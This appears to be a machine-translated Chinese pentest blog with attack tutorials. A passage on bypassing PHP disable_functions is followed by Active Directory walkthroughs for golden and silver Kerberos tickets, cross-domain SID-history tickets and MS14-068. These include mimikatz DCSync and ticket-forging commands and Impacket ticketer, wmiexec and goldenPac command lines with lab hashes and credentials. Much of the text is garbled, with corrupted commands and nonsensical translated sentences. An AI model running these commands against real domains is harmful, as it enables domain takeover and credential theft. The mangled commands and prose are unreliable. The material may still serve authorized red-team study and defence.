1234567891011 PUBLIC静态函数parsename($ name,$ type=0,$ ucfirst=true){if($ type){$ name=preg_replace_callback('/_/_([a-za-za-z])返回$ ucfirst? ucfirst($ name): lcfirst($ name); } else {return strtolower(trim(preg_replace('/[a-z]/','_ \\ 0',$ name),'_''_')); }} 9.png

现在\ think \ app类将被实例化,并将执行InvokeFunction方法

10.png

因此,添加的原因./\是您可以进一步向前跳来跳去

0x04旁路disable_functions

视图禁用

11.png

我没有在开始时仔细看残疾的内容,所以我只是使用了

https://github.com/yangyangwithnu/bypass_disablefunc_via_ld_preload

但是发现Putenv被禁用了

12.png

通过本文更改方法

https://Mochazz.github.io/2018/09/27/%E6%B8%9M97%E9%E9%80%80%80%8F%E6%B5%B5%8B%E8B%E8%AF;

我了解到使用PCNTL扩展名,确认系统支持

13.png

最后,该命令成功执行

14.png

HireHackking

域渗透|票据伪造

忘记账单

金笔记

Goldenticket

https://www.se7ensec.cn/2021/10/20/20/%E5%9f%9f%E6%B8%97%E9%E9%80%80%8F-KERBEROS%E5%9F%9F%E8%E8% A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#%E9%BB%84%E9%E9%87%87%91%E7%E7%A5%A5%A8%A8%E6%8DD%AE

简介

金票(以下称为金票)是伪造的TGT(票务票),因为只要有高授权的TGT,就可以将其发送到TGS进行任何服务的TGS。可以说,有了黄金票,该域中的权威最高。

制作金票的条件

1。域名

2。域的SID值

3。域的KRBTGT帐户密码哈希

4。锻造用户名可以是任何

使用过程

mimikatz

金票的产生需要Krbtgt的哈希值。您可以通过Mimikatz中的命令获得KRBTGT的值。

1LSADUMP:3:DCSYNC /OOWA2013.ROOTKIT.org /user:KrBtgt获取Krbtgt Hash,然后使用Kerberos: -Golden在Mimikatz中的功能产生Golden.kiribi,是成功的成功。

/用户:锻造用户名

/域:域名

/sid:SID值,请注意,最后一个值- 以下值/KRBTGT:KRBTGT HASH值

/ptt:这意味着传递票务攻击,该票证将生成的机票导入内存,并且在使用之前也可以使用/票证出口。

12mimikatz.exe 'kerberos:golden /user:administrator /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /krbtgt3360c3d5042c67ef5f461d0ba6ecd9e449 /ptt'Exitklist /kerberos:List可以成功地通过DIR访问域控制的共享文件夹。

1dir \\ owa2013.rootkit.org \ c $

爆炸

123456781。清除票证klist klist purge2。制作ccache文件python ticketer.py -nthash C3D5042C67EF5F461D0BA6ECDD9EA449 -DOMAIN-SID SID SID SID SID SID SID SID SID SID SID SID SID更改环境变量设置krb5ccname=abtrisyator.ccache/export krb5ccname=indercanceator.ccache4。验证结果python wmiexec.py rootkit.org/administrator@owa2013 -K -no-pass

银笔记

Silvertickets

https://www.se7ensec.cn/2021/10/20/20/%E5%9f%9f%E6%B8%97%E9%E9%80%80%8F-KERBEROS%E5%9F%9F%E8%E8% A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#%E7%99%BD%E9%E9%93%B6%E7%A5%A5%A5%A8%A8%E6%8DD%AE

需要使用什么服务?在这里查看攻击者如何使用Kerberos银票来利用系统3https://ADSECURITY.org/?p=2011

服务类型

服务银票

WMI

主机,RPCSS

powershell远程

主机,HTTP(WSMAN,RPCSS)

Winrm

主机,http

计划的任务

主持人

Windows文件共享(CIF)

CIFS

LDAP操作包括Mimikatz DCSync

LDAP

Windows远程服务器管理工具

RPCSS,LDAP,CIFS

简介

银票(以下称为银纸币)是伪造的(服务票),因为TGT限于PAC。

客户授权的服务(通过SID的值),因此钞票只能访问指定的服务。

制作银笔记的条件

1。域名

2。域SID

3。完全合格的域名目标服务器的完全合格的域名,即带有主机名和域名的名称。)

4。可用服务(在目标服务器上运行的Kerberos服务,服务主名称类型,例如CIFS,HTTP,MSSQL等)

5。服务帐户的NTLM哈希(如果它是域控制器计算机帐户,则意味着DC已被删除)

6。需要伪造的用户名可以是任何,以下是银

使用过程

mimikatz

首先,我们需要知道服务帐户哈希的密码。在这里,我们还使用域控件作为示例(请注意,在此不使用管理员帐户的哈希,但OWA2013 $)

参数描述:

/域:当前域名

/sid:SID值,像金票一样,请上一部分

/目标:目标主机,这是OWA2013.ROOTKIT.org

/服务:服务名称,您需要在此处访问共享文件,因此是CIFS

/rc4:NTLM服务帐户的哈希值(OWA2013 $)

/用户:锻造用户名

/ptt:这意味着传递票务攻击,该票证将生成的机票导入内存,并且在使用之前也可以使用/票证出口。

使用kerberos:ptt导入

1234567891。 /TARGET:OWA2013.ROOTKIT.org /service:Cifs /rc4:dd2162e8606006006dcca0e29b7819721a /user33:silver /ptt'exitklistdir $ 2.ROOTKIT.OROTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT。锻造的LDAP服务权限mimikatz'Kerberos:3:Golden /domain:Rootkit.org /sid:s-1-5-21-37598881954-299999999999993293291187-3577578080808080808083333333333333333333333333333333333333333333333333333333333333333333333333333333633333量表。 /service:ldap /rc4:ddddd2162e8606006dcca0e29b7819721a /user:silver /ptt'exitklistmikikikatz'lsadump333333:dcsync /dcssync /dcssync /dcssync /dcssync /d.ga.ga.gaafa.gaafa.gaafa.arotklistmikikatz /domain:rootkit.org /user:krbtgt' exit.

爆炸

123456781. Forge cifs service permissions python3 ticketer.py -nthash ddd2162e8606006dcca0e29b7819721a -domain-sid S-1-5-21-3759881954-29993291187-3577547808- domain rootkit.org -dc-ip 192.168.3.144 -spn cifs/owaa2013.Rootkit.org silver2。 Forge LDAP service permissions python3 ticketer.py -nthash ddd2162e8606006dcca0e29b7819721a -domain-sid S-1-5-21-3759881954-2993291187-3577547808 -domain rootkit.org -dc-ip 192.168.3.144 -spn ldap/owa2013.rootkit.org silverset krb5ccname=silver.ccace/export krb5ccname=silver.ccachepython wmiexec.py -k owaa2y2013.Rootkit.org 3

增强版本的金音符

-1

增强式Golden门票

-1

域树和域森林

-1010-110-110-110-110

普通金票的限制

11门票,以便可以获得域控制权限,并且可以访问域中其他主机的任何服务。

但是,不能在域上使用普通的金票,这意味着金票的权限仅限于当前域。

企业管理员组

news.rootkit.org和dev.rootkit.org是rootkit.org的子域,这三个域形成了一个域树。

同样,test.org也是一个单独的域树。将两个域树rootkit.org和test.org合并为被称为域森林。

域名ADMINS组

根域和其他域之间最大的区别是根域对整个域森林具有控制权。

该域基于企业管理员组实现此类许可部门。

使用过程

Enterpriseadmins组是该域中的一组用户,仅存在于森林中的根域中。该组的成员是rootkit.org中的管理员用户(不是本地管理员,而是域中的管理员)对域具有完整的管理控制。

在rootkit.org的域控制上的企业管理员组为519。

mimikatz

子域中不存在Enterpriseadmins组。子域中具有最高特权的小组是域管理组。

news.rootkit.org此子域中的管理员用户,该管理员在当前域中具有最高的权限。

参考

010-1010普通金音符仅限于当前域。 2015年,来自中国黑帽子的研究人员提出了增强的黄金音符版本,这些音符突破了域限制。

迁移期间LDAP库的Sidhistory属性中保存的先前域的SID值是通过制作跨域金票来制作的。

如果您知道根域的SID,则可以使用Mimikatz通过子域的KRBTGT的哈希值来使用Enterpriseadmins组权限(域名森林中最高特权)创建票。

然后再生一张包含Mimikatz根域SID的新金票

1mimikatz'Kerberos:Golden /admin:AdMinistrator /domain:news.rootkit.org` /sid:SID /sidssiD /sids:ROOT域名/endin:600 /renewmax:10080 /ptt'退出参考:3https://ADSecurity.org/?p=1640

startoffffset和endin分别表示偏移和长度,而Renewmax表示生成的票证的最大时间。

请注意,您不知道root domain rootkit.org的密码哈希,并在subdomain news.rootkit.org中使用KRBTGT的密码哈希。

然后,您可以通过DIR访问OWA2013.ROOTKIT.org的共享文件夹。目前,这张机票控制了整个域名森林。

010-1010 https://github.com/uknowsec/active-directory-pentest-notes

HireHackking

域渗透|MS14-068

MS14-068

MS14-068

https://WWW.SE7ENSEC.CN/2021/10/20/20/%E5%9F%9F%E6%B8%97%E9%80%80%8F-KERBEROS% E5%9F%9F%E8%AE%A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#Pac-1

MS14068是一个权限升级漏洞,可以使普通用户能够增加其对域控制权限的权力。攻击者可以通过构建特定的请求数据包来实现升级权限的目的。

这种漏洞的主要问题是,KDC将根据指定PAC中的数字签名和PAC的加密算法的加密算法来验证PAC的合法性。这使攻击者可以通过锻造PAC来修改PAC中的SID,从而导致KDC判断攻击者是一个高私密的用户,从而导致了特权升级脆弱性。

漏洞补丁地址: https://Technet.microsoft.com/zh-cn/library/security/security/MS14-068

使用方法

MS14-068的相应补丁是KB3011780。您可以检查此补丁是否通过域控制上的SystemInfo安装。

1SystemInfo |查找'3011780'

keoko

12KLIST清除清除账单Kekeo'Exploit3:MS14068 /domain:ROOTKIT.ORG /user33: py:https://github.com/mubix/pykek

exe:https://github.com/ianxtianxt/ms14-068

参数描述:

-U域帐户@Domain名称

-p是当前用户的密码

-s是当前用户的SID值。可以通过Whoami/All获得用户的SID值。

-d是当前域的域控制

–RC4 Hash适用于当前用户

通过DIR访问域控制的共享文件夹,并促使访问被拒绝。 1dir \\ owa2013.rootkit.org \ c $

Generate ticket 1MS14-068.exe -u sqladmin@rootkit.org -p Admin12345 -s S-1-5-21-3759881954-2993291187-3577547808-1613 -d OWA2013.rootkit.org

成功执行脚本将在当前目录中生成CCACHE文件。在导入票证之前,请在CMD中使用命令KLIST净化,或使用Mimikatz中的Kerberos:Purge删除当前缓存的Kerberos票。 1KLIST清除

使用mimikatz 1mimikatz'kerberos:ptc tgt_sqladmin@rootkit.org.ccace'Exit导入生成的CCACHE文件。

您可以再次通过DIR成功访问域控件共享。

Pykek

Goldenpac.py在Impacket工具套件中,该工具是组合MS14-068 Plus PSEXEC的产物,非常易于使用。

1python goldenpac.py -dc-ip 192.168.3.144 -target-ip 192.168.3.144 rootkit.org/sqladmin3:admin12345@owa ewoawa extim32013.rootkit.org https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2014/ms14-068

https://daiker.gitbook.io/windows-protocol/kerberos/3#0x00-qian-yan

https://cloud.tencent.com/developer/article/1760132

https://www.cnblogs.com/backlion/p/6820744.html